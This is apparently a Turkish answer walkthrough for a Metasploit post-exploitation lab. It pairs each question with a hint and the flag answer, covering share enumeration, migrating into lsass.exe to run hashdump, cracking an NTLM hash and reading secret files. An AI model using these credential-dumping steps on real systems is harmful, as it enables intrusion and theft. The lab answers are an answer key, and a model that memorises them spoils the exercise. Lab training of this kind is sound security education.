Soru ⇒ Kullanıcı tarafından oluşturulan paylaşımın adı nedir(İpucu ⇒ "post/windows/gather/enum_shares" modülünü kullanın. Önce Meterpreter'ı arka plana atmanız ve SESSION parametresini ayarlamanız gerekecektir.)?

Cevap ⇒ speedster

Soru ⇒ jchambers kullanıcısının NTLM karması nedir(İpucu ⇒ Meterpreter komut isteminde: Önce "lsass.exe" işlemine geçmeniz (ps PID'sini listeleyecektir), ardından "hashdump" çalıştırmanız gerekecektir.)?

Cevap ⇒ 69596c7aa1e8daee17f8e78870e25a5c

Soru ⇒ jchambers kullanıcısının açık metin parolası nedir(İpucu ⇒ Crackstation.net gibi çevrimiçi bir hash denetleyicisi kullanabilirsiniz)?

Cevap ⇒ Trustno1

Soru ⇒ "secrets.txt" dosyası nerede bulunuyor? (Dosyanın tam yolu) (İpucu ⇒ Şu komutlardan herhangi birini kullanabilirsiniz: search -f *.txt search -f secrets.txt)

Cevap ⇒ c:\Program Files (x86)\Windows Multimedia Platform\secrets.txt

Soru ⇒ "secrets.txt" dosyasında açıklanan Twitter şifresi nedir(Dosyanın içeriğini görmek için cat komutunu kullanın.)?

Cevap ⇒ KDSvbsw3849!

Soru ⇒ "realsecret.txt" dosyası nerede bulunuyor? (Dosyanın tam yolu) (İpucu ⇒ Şu komutlardan herhangi birini kullanabilirsiniz: search -f *.txt search -f realsecret.txt)

Cevap ⇒ c:\inetpub\wwwroot\realsecret.txt

Soru ⇒ Gerçek sır nedir(İpucu ⇒ Dosyanın içeriğini görmek için cat komutunu kullanın)?

Cevap ⇒ The Flash is the fastest man alive